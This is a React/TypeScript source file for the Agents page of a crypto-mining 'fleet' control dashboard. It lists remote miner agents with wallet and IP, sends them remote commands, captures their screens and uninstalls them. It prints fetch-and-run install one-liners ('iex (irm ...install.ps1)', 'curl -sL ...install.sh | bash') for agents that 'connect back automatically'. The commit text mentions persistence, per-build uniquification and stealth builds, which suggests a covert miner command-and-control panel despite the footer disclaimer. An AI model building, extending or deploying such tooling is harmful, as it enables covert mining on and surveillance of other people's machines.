- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
680 lines
28 KiB
TypeScript
680 lines
28 KiB
TypeScript
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
|
||
import { api } from '../api/client';
|
||
import { useWebSocket } from '../hooks/useWebSocket';
|
||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||
import HashrateChart from '../components/Charts/HashrateChart';
|
||
import { resolveChartSeries } from '../help/chartSampleData';
|
||
import NeonCard from '../components/NeonCard/NeonCard';
|
||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||
import AgentListItem from '../components/Fleet/AgentListItem';
|
||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||
import {
|
||
DEFAULT_FLEET_FILTERS,
|
||
filterFleetAgents,
|
||
agentIsIdleMiner,
|
||
formatHashrate,
|
||
formatUptime,
|
||
} from '../help/fleetFilters';
|
||
import type { FleetFilterState } from '../help/fleetFilters';
|
||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||
import { groupsForAgent } from '../help/fleetGroups';
|
||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||
import '../components/Fleet/FleetToolbar.css';
|
||
import './Pages.css';
|
||
|
||
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||
const [copied, setCopied] = useState<string | null>(null);
|
||
|
||
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
|
||
|
||
const copy = (text: string, key: string) => {
|
||
navigator.clipboard.writeText(text).then(() => {
|
||
setCopied(key);
|
||
setTimeout(() => setCopied(null), 2000);
|
||
});
|
||
};
|
||
|
||
const ps1 = `iex (irm '${base}/install.ps1')`;
|
||
const sh = `curl -sL ${base}/install.sh | bash`;
|
||
const dlWin = `${base}/get?os=windows`;
|
||
const dlLin = `${base}/get?os=linux`;
|
||
const dlMac = `${base}/get?os=darwin`;
|
||
|
||
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
|
||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
|
||
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
|
||
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
|
||
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
|
||
{copied === id ? '✓ Copied' : 'Copy'}
|
||
</button>
|
||
</div>
|
||
);
|
||
|
||
return (
|
||
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
|
||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||
<div>
|
||
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
|
||
<p className="form-hint" style={{ margin: 0 }}>
|
||
Run any of these commands on a remote machine — the agent downloads itself and connects back automatically.
|
||
No files to transfer manually.
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
<div style={{ marginBottom: '0.75rem' }}>
|
||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div>
|
||
<Row label="Windows" cmd={ps1} id="ps1" />
|
||
<Row label="Linux/Mac" cmd={sh} id="sh" />
|
||
</div>
|
||
|
||
<div>
|
||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
|
||
<Row label="Windows" cmd={dlWin} id="dlw" />
|
||
<Row label="Linux" cmd={dlLin} id="dll" />
|
||
<Row label="macOS" cmd={dlMac} id="dlm" />
|
||
</div>
|
||
</NeonCard>
|
||
);
|
||
}
|
||
|
||
export default function AgentsPage() {
|
||
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
|
||
const [agents, setAgents] = useState<Agent[]>([]);
|
||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||
const [bulkBusy, setBulkBusy] = useState(false);
|
||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||
const [loading, setLoading] = useState(true);
|
||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||
const [loadError, setLoadError] = useState('');
|
||
const [logContent, setLogContent] = useState('');
|
||
const [logLoading, setLogLoading] = useState(false);
|
||
const [logDownloading, setLogDownloading] = useState(false);
|
||
const [notesDraft, setNotesDraft] = useState('');
|
||
const [tagsDraft, setTagsDraft] = useState('');
|
||
const [metaSaving, setMetaSaving] = useState(false);
|
||
const [metaMsg, setMetaMsg] = useState('');
|
||
const isConnectedRef = useRef(isConnected);
|
||
isConnectedRef.current = isConnected;
|
||
const screenshotWatchId = useRef<string | null>(null);
|
||
const screenshotSeqRef = useRef(0);
|
||
const [showGroupModal, setShowGroupModal] = useState(false);
|
||
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||
|
||
const onlineAgentIds = useMemo(
|
||
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
|
||
[agents]
|
||
);
|
||
|
||
useEffect(() => {
|
||
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||
const watch = screenshotWatchId.current;
|
||
for (const r of commandResults) {
|
||
if (r._seq <= screenshotSeqRef.current) continue;
|
||
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
|
||
screenshotSeqRef.current = r._seq;
|
||
screenshotWatchId.current = null;
|
||
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
|
||
if (r.success && r.message) {
|
||
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
|
||
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
|
||
} else {
|
||
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
|
||
}
|
||
break;
|
||
}
|
||
}, [commandResults, agents]);
|
||
|
||
useEffect(() => {
|
||
let cancelled = false;
|
||
api.listAgents()
|
||
.then((data) => {
|
||
if (!cancelled && !isConnectedRef.current) setAgents(data);
|
||
})
|
||
.catch((err) => {
|
||
if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents');
|
||
})
|
||
.finally(() => {
|
||
if (!cancelled) setLoading(false);
|
||
});
|
||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||
return () => {
|
||
cancelled = true;
|
||
};
|
||
}, []);
|
||
|
||
useEffect(() => {
|
||
if (!selectedAgent) return;
|
||
setNotesDraft(selectedAgent.notes || '');
|
||
setTagsDraft((selectedAgent.tags || []).join(', '));
|
||
}, [selectedAgent?.id]);
|
||
|
||
useEffect(() => {
|
||
if (!isConnected) return;
|
||
setAgents(liveAgents);
|
||
if (!selectedAgent) return;
|
||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||
if (updated) {
|
||
setSelectedAgent(updated);
|
||
} else {
|
||
setSelectedAgent(null);
|
||
setLogContent('');
|
||
}
|
||
}, [liveAgents, isConnected, selectedAgent?.id]);
|
||
|
||
useEffect(() => {
|
||
if (selectedAgent && agentLogs[selectedAgent.id]) {
|
||
setLogContent(agentLogs[selectedAgent.id]);
|
||
}
|
||
}, [selectedAgent?.id, agentLogs]);
|
||
|
||
// Sort: online first, then by last_seen desc, then alphabetical
|
||
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
|
||
if (a.status === 'online' && b.status !== 'online') return -1;
|
||
if (a.status !== 'online' && b.status === 'online') return 1;
|
||
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
|
||
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
|
||
if (tb !== ta) return tb - ta;
|
||
return a.name.localeCompare(b.name);
|
||
}), [agents]);
|
||
|
||
const filteredAgents = useMemo(
|
||
() => filterFleetAgents(sortedAgents, filters),
|
||
[sortedAgents, filters]
|
||
);
|
||
|
||
const refreshLog = async (refresh = false) => {
|
||
if (!selectedAgent) return;
|
||
setLogLoading(true);
|
||
try {
|
||
const res = await api.getAgentLog(selectedAgent.id, refresh);
|
||
setLogContent(res.content || '');
|
||
} catch (err) {
|
||
setLogContent(err instanceof Error ? err.message : 'Failed to load log');
|
||
} finally {
|
||
setLogLoading(false);
|
||
}
|
||
};
|
||
|
||
const selectAgent = async (agent: Agent) => {
|
||
setSelectedAgent(agent);
|
||
setNotesDraft(agent.notes || '');
|
||
setTagsDraft((agent.tags || []).join(', '));
|
||
setMetaMsg('');
|
||
setLogContent('');
|
||
try {
|
||
const history = await api.getAgentStats(agent.id, 60);
|
||
setHashrateHistory(history);
|
||
} catch (err) {
|
||
console.error(err);
|
||
}
|
||
// Auto-fetch sysinfo so the terminal is pre-populated immediately
|
||
if (agent.status === 'online') {
|
||
setTimeout(() => {
|
||
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
|
||
}, 300);
|
||
}
|
||
};
|
||
|
||
const saveMeta = async () => {
|
||
if (!selectedAgent) return;
|
||
setMetaSaving(true);
|
||
setMetaMsg('');
|
||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||
try {
|
||
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
|
||
const updated = res.agent;
|
||
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
|
||
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
|
||
setMetaMsg('Saved');
|
||
setTimeout(() => setMetaMsg(''), 2000);
|
||
} catch (err) {
|
||
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
|
||
} finally {
|
||
setMetaSaving(false);
|
||
}
|
||
};
|
||
|
||
const toggleSelect = useCallback((id: string, on: boolean) => {
|
||
setSelectedIds((prev) => {
|
||
const next = new Set(prev);
|
||
if (on) next.add(id);
|
||
else next.delete(id);
|
||
return next;
|
||
});
|
||
}, []);
|
||
|
||
const handleDeleteAgent = async (agentId: string) => {
|
||
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
|
||
try {
|
||
await api.deleteAgent(agentId);
|
||
setAgents((prev) => prev.filter((a) => a.id !== agentId));
|
||
if (selectedAgent?.id === agentId) setSelectedAgent(null);
|
||
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; });
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||
}
|
||
};
|
||
|
||
const handleUninstallAndDelete = async (agent: Agent) => {
|
||
const label = agent.status === 'online'
|
||
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
|
||
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
|
||
if (!window.confirm(label)) return;
|
||
if (agent.status === 'online') {
|
||
try {
|
||
await api.sendAgentCommand(agent.id, 'uninstall', {});
|
||
} catch {
|
||
// Non-fatal — proceed to delete the record regardless
|
||
}
|
||
}
|
||
try {
|
||
await api.deleteAgent(agent.id);
|
||
setAgents((prev) => prev.filter((a) => a.id !== agent.id));
|
||
if (selectedAgent?.id === agent.id) setSelectedAgent(null);
|
||
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; });
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||
}
|
||
};
|
||
|
||
const handleBulkAction = async (action: string) => {
|
||
const ids = [...selectedIds];
|
||
if (ids.length === 0) return;
|
||
|
||
if (action === 'delete') {
|
||
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
|
||
setBulkBusy(true);
|
||
try {
|
||
await api.bulkDeleteAgents(ids);
|
||
setAgents((prev) => prev.filter((a) => !ids.includes(a.id)));
|
||
if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null);
|
||
setSelectedIds(new Set());
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : 'Bulk delete failed');
|
||
} finally {
|
||
setBulkBusy(false);
|
||
}
|
||
return;
|
||
}
|
||
|
||
let targetIds = ids;
|
||
if (action === 'restart_idle') {
|
||
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||
if (targetIds.length === 0) {
|
||
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||
return;
|
||
}
|
||
action = 'restart';
|
||
}
|
||
|
||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||
if (onlineIds.length === 0) {
|
||
alert('No online agents in selection.');
|
||
return;
|
||
}
|
||
|
||
if (action === 'screenshot') {
|
||
if (onlineIds.length !== 1) {
|
||
alert('Select exactly one online machine (checkbox) for screenshot.');
|
||
return;
|
||
}
|
||
const id = onlineIds[0];
|
||
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
|
||
screenshotWatchId.current = id;
|
||
if (commandResults?.length) {
|
||
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
|
||
}
|
||
setBulkBusy(true);
|
||
try {
|
||
const res = await api.sendAgentCommand(id, 'screenshot');
|
||
if (res.success === false) {
|
||
screenshotWatchId.current = null;
|
||
alert(res.error ?? 'Screenshot command rejected');
|
||
}
|
||
} catch (err) {
|
||
screenshotWatchId.current = null;
|
||
alert(err instanceof Error ? err.message : 'Screenshot failed');
|
||
} finally {
|
||
setBulkBusy(false);
|
||
}
|
||
return;
|
||
}
|
||
|
||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||
|
||
setBulkBusy(true);
|
||
try {
|
||
await api.sendBulkCommand(onlineIds, action);
|
||
} catch (err) {
|
||
console.error(err);
|
||
alert(err instanceof Error ? err.message : 'Bulk command failed');
|
||
} finally {
|
||
setBulkBusy(false);
|
||
}
|
||
};
|
||
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||
<h1>Fleet Roster</h1>
|
||
<p className="page-subtitle">Compact list — click a row to expand quick actions or inspect full telemetry on the right.</p>
|
||
</div>
|
||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||
</header>
|
||
|
||
<QuickDeployPanel serverInfo={serverInfo} />
|
||
|
||
{loadError && (
|
||
<NeonCard accent="amber" className="empty-state">
|
||
<p>{loadError}</p>
|
||
</NeonCard>
|
||
)}
|
||
|
||
{loading ? (
|
||
<NeonCard accent="brass" className="empty-state">
|
||
<p>Scanning network...</p>
|
||
</NeonCard>
|
||
) : agents.length === 0 ? (
|
||
<NeonCard accent="brass" className="empty-state">
|
||
<div className="empty-icon">⚙</div>
|
||
<h3>No agents registered</h3>
|
||
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
|
||
</NeonCard>
|
||
) : (
|
||
<div className="agents-layout">
|
||
<div className="agents-list-panel">
|
||
<FleetToolbar
|
||
agents={agents}
|
||
filters={filters}
|
||
onChange={setFilters}
|
||
selectedCount={selectedIds.size}
|
||
filteredCount={filteredAgents.length}
|
||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||
onBulkAction={handleBulkAction}
|
||
onCreateGroup={() => setShowGroupModal(true)}
|
||
bulkBusy={bulkBusy}
|
||
/>
|
||
<FleetGroupsStrip
|
||
groups={groups}
|
||
liveAgentIds={onlineAgentIds}
|
||
selectedCount={selectedIds.size}
|
||
onSelectGroup={(g) => setSelectedIds(new Set(g.agentIds))}
|
||
onDeleteGroup={removeGroup}
|
||
onCreateGroup={() => setShowGroupModal(true)}
|
||
/>
|
||
<div className="agents-list">
|
||
{filteredAgents.map((agent) => (
|
||
<AgentListItem
|
||
key={agent.id}
|
||
agent={agent}
|
||
selected={selectedAgent?.id === agent.id}
|
||
expanded={expandedId === agent.id}
|
||
selectable
|
||
checked={selectedIds.has(agent.id)}
|
||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||
onSelect={() => void selectAgent(agent)}
|
||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||
commandResults={commandResults}
|
||
memberGroups={groupsForAgent(groups, agent.id)}
|
||
/>
|
||
))}
|
||
{filteredAgents.length === 0 && (
|
||
<p className="form-hint">No agents match filters.</p>
|
||
)}
|
||
</div>
|
||
</div>
|
||
|
||
{selectedAgent && (
|
||
<NeonCard accent="cyan" className="agent-detail" hud>
|
||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||
<div style={{ marginBottom: '0.5rem' }}>
|
||
{selectedAgent.tags!.map((t) => (
|
||
<span key={t} className="agent-tag-chip">{t}</span>
|
||
))}
|
||
</div>
|
||
)}
|
||
|
||
<div className="detail-section agent-meta-editor">
|
||
<h3>Notes & Tags</h3>
|
||
<p className="form-hint">Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.</p>
|
||
<textarea
|
||
className="input"
|
||
rows={2}
|
||
placeholder="Notes about this machine…"
|
||
value={notesDraft}
|
||
onChange={(e) => setNotesDraft(e.target.value)}
|
||
/>
|
||
<input
|
||
type="text"
|
||
className="input mono agent-meta-tags-input"
|
||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||
value={tagsDraft}
|
||
onChange={(e) => setTagsDraft(e.target.value)}
|
||
/>
|
||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
|
||
{metaSaving ? 'Saving…' : 'Save notes & tags'}
|
||
</button>
|
||
{selectedAgent.status === 'online' && (
|
||
<button
|
||
type="button"
|
||
className="btn btn-sm"
|
||
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
|
||
onClick={() => void handleUninstallAndDelete(selectedAgent)}
|
||
title="Send uninstall command to agent, then remove from roster"
|
||
>
|
||
⚡ Uninstall + Delete
|
||
</button>
|
||
)}
|
||
<button
|
||
type="button"
|
||
className="btn btn-sm"
|
||
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
|
||
onClick={() => void handleDeleteAgent(selectedAgent.id)}
|
||
title="Remove this machine from the fleet roster permanently"
|
||
>
|
||
🗑 Delete from Roster
|
||
</button>
|
||
</div>
|
||
{metaMsg && <span className="form-hint">{metaMsg}</span>}
|
||
</div>
|
||
|
||
<div className="agent-detail-grid">
|
||
<div className="detail-item">
|
||
<span className="detail-label">Status</span>
|
||
<span style={{ display: 'flex', alignItems: 'center', gap: '0.5rem' }}>
|
||
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
|
||
{selectedAgent.status === 'online' && (
|
||
<LatencyBadge ms={selectedAgent.latency_ms} />
|
||
)}
|
||
</span>
|
||
</div>
|
||
{selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && (
|
||
<div className="detail-item">
|
||
<span className="detail-label">Hostname</span>
|
||
<span className="detail-value mono">{selectedAgent.hostname}</span>
|
||
</div>
|
||
)}
|
||
<div className="detail-item">
|
||
<span className="detail-label">Last Seen</span>
|
||
<span className="detail-value" title={selectedAgent.last_seen}>
|
||
{selectedAgent.last_seen
|
||
? new Date(selectedAgent.last_seen).toLocaleString()
|
||
: '—'}
|
||
</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Wallet</span>
|
||
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">IP Address</span>
|
||
<span className="detail-value">{selectedAgent.ip}</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Version</span>
|
||
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
|
||
</div>
|
||
{(selectedAgent.platform || selectedAgent.os_version) && (
|
||
<div className="detail-item">
|
||
<span className="detail-label">Platform</span>
|
||
<span className="detail-value">
|
||
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
|
||
{selectedAgent.os_version ? ` — ${selectedAgent.os_version}` : ''}
|
||
</span>
|
||
</div>
|
||
)}
|
||
<div className="detail-item">
|
||
<span className="detail-label">CPU Cores</span>
|
||
<span className="detail-value">{selectedAgent.cpu_cores}</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Memory</span>
|
||
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">CPU Usage</span>
|
||
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Uptime</span>
|
||
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
|
||
</div>
|
||
</div>
|
||
|
||
<div className="detail-section">
|
||
<h3>Hashrate</h3>
|
||
<div className="hashrate-detail-grid">
|
||
<div className="hashrate-item">
|
||
<span className="detail-label">15s</span>
|
||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
|
||
</div>
|
||
<div className="hashrate-item">
|
||
<span className="detail-label">1m</span>
|
||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
|
||
</div>
|
||
<div className="hashrate-item">
|
||
<span className="detail-label">15m</span>
|
||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div className="detail-section">
|
||
<h3>Shares</h3>
|
||
<div className="shares-detail-grid">
|
||
<div className="share-stat good">
|
||
<span className="share-count">{selectedAgent.shares_good}</span>
|
||
<span className="share-label">Accepted</span>
|
||
</div>
|
||
<div className="share-stat bad">
|
||
<span className="share-count">{selectedAgent.shares_bad}</span>
|
||
<span className="share-label">Rejected</span>
|
||
</div>
|
||
<div className="share-stat total">
|
||
<span className="share-count">{selectedAgent.shares_total}</span>
|
||
<span className="share-label">Total</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
{selectedAgent && (
|
||
<div className="detail-section">
|
||
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
|
||
{(() => {
|
||
const live = [...hashrateHistory].reverse().map((s) => ({
|
||
time: new Date(s.timestamp).toLocaleTimeString(),
|
||
value: s.hashrate,
|
||
}));
|
||
const chart = resolveChartSeries(live, 'hashrate', {
|
||
tailValue: selectedAgent.hashrate_15m,
|
||
});
|
||
return (
|
||
<HashrateChart
|
||
title=""
|
||
color="#00f5ff"
|
||
unit="H/s"
|
||
height={240}
|
||
data={chart.data}
|
||
displayMode={chart.mode}
|
||
/>
|
||
);
|
||
})()}
|
||
</div>
|
||
)}
|
||
|
||
<div className="detail-section">
|
||
<h3>Remote Control</h3>
|
||
{selectedAgent.status !== 'online' && (
|
||
<p className="form-hint">Agent is offline — remote actions are disabled until it reconnects.</p>
|
||
)}
|
||
<AgentRemoteActions
|
||
agent={selectedAgent}
|
||
online={selectedAgent.status === 'online'}
|
||
commandResults={commandResults}
|
||
showLiveStats
|
||
onCommandSent={(action: string) => {
|
||
if (action === 'get_log') refreshLog(true);
|
||
}}
|
||
/>
|
||
</div>
|
||
|
||
<div className="detail-section">
|
||
<h3>
|
||
Agent Log{' '}
|
||
<button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button>
|
||
<button
|
||
type="button"
|
||
className="agent-action-btn"
|
||
disabled={logDownloading || selectedAgent.status !== 'online'}
|
||
title="Download full agent log as a file"
|
||
style={{ marginLeft: '0.4rem' }}
|
||
onClick={async () => {
|
||
setLogDownloading(true);
|
||
try {
|
||
await api.downloadAgentLog(selectedAgent.id);
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : 'Download failed');
|
||
} finally {
|
||
setLogDownloading(false);
|
||
}
|
||
}}
|
||
>
|
||
{logDownloading ? '…' : '⬇ Download'}
|
||
</button>
|
||
</h3>
|
||
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
||
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
||
</div>
|
||
</NeonCard>
|
||
)}
|
||
</div>
|
||
)}
|
||
<CreateGroupModal
|
||
open={showGroupModal}
|
||
agentCount={selectedIds.size}
|
||
onClose={() => setShowGroupModal(false)}
|
||
onCreate={(name, color) => {
|
||
addGroup(name, color, [...selectedIds]);
|
||
setShowGroupModal(false);
|
||
}}
|
||
/>
|
||
|
||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||
</footer>
|
||
</div>
|
||
);
|
||
}
|